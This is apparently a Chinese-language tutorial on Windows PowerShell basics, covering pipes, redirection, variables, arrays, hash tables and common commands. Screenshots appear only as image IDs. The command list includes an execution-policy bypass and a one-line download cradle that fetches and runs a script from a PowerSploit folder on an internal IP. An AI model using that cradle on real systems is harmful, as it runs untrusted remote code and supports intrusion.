windows powershell基础

windows powershell基础

目录:

1.管道和重定向

2.命令执行

3.变量

4.数组和哈希表  #@()创建数组,使用”,”把每个值分隔开,@{}创建哈希表,用”;”把每个值分隔开

5.常用命令

get-help  查看帮助

get-command 查询命令

get-member  查看对象的成员信息

get-verb  获取所有动词

get-content 或者type  查看内容

$psversiontable   查看powershell版本

ls env:    查看所有环境变量

ls alias:  或者get-alias  查看所有的别名

get-executionpolicy  查看脚本执行策略

set-executionpolicy bypass  设置可以执行脚本

. ./test1.ps1   把test1.ps1加载到内存  注意两个点之间有一个空格

iex(New-Object Net.Webclient).DownloadString(‘http://10.10.10.132/PowerSploit-master/xx.ps1’)    iex远程下载脚本执行

在字符串前面加”&”,可以执行命令或者启动程序

 

Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充

powershell命令和参数不区分大小写

1.1管道   #把上一条命令的输出作为下一条命令的输入

1592114-20190224100202973-780730504

注:通过ls获取当前目录的所有文件信息,然后通过sort-object 排序,默认升序

1.2重定向  #把命令的输出保存到文件中,‘>’为覆盖,’>>’追加

1592114-20190224100416277-406459217

 

注:查看内容可以通过type或者get-content查看

2.Powershell 查看可以执行的cmd命令(cmd /c help )

1592114-20190224101111246-1144604340

3.1变量

在powershell中变量名均是以美元符”$”开始,剩余字符可以是数字、字母、下划线的任意字符,并且powershell变量名大小写不敏感($a和$A 是同一个变量)

powershell一切皆对象,变量也是对象,通过$str(变量名) | get-member  查看变量所拥有的属性以及方法

  1592114-20190224111734563-1400854072

查看正在使用的变量  ls variable: 1592114-20190224103817483-1328390970

3.2环境变量

Powershell把所有环境变量的记录保存在env: 虚拟驱动中,因此可以列出所有环境变量 。一旦查出环境变量的名字就可以使用$env:name 访问了。

1592114-20190224110154879-1213476240

注:通过查找所有环境变量可以得到计算机名,当前所属域的域名,用户名等等

 

通过$env:属性名访问  1592114-20190224110356325-2053252285

4.1数组

1.命令返回数组   #当我们把一个命令的执行结果保存到一个变量中,可能会认为变量存放的是纯文本。
但是,事实上Powershell会把文本按每一行作为元素存为数组

1592114-20190224111403239-1496640320

2.创建数组:

在Powershell中创建数组可以使用逗号,创建空数组使用@()

1592114-20190224112552304-1607761547

3.访问、添加数组:  #添加数组使用”+=”

1592114-20190224113026171-1693960105

4.2哈希表

1.创建哈希表

之前使用@()创建数组,现在使用@{}创建哈希表,用”;”把每个值分隔开,使用哈希表的键访问对应的值

1592114-20190224113748051-670594238

2.修改、增加、删除哈希表

1592114-20190224114201980-1710338685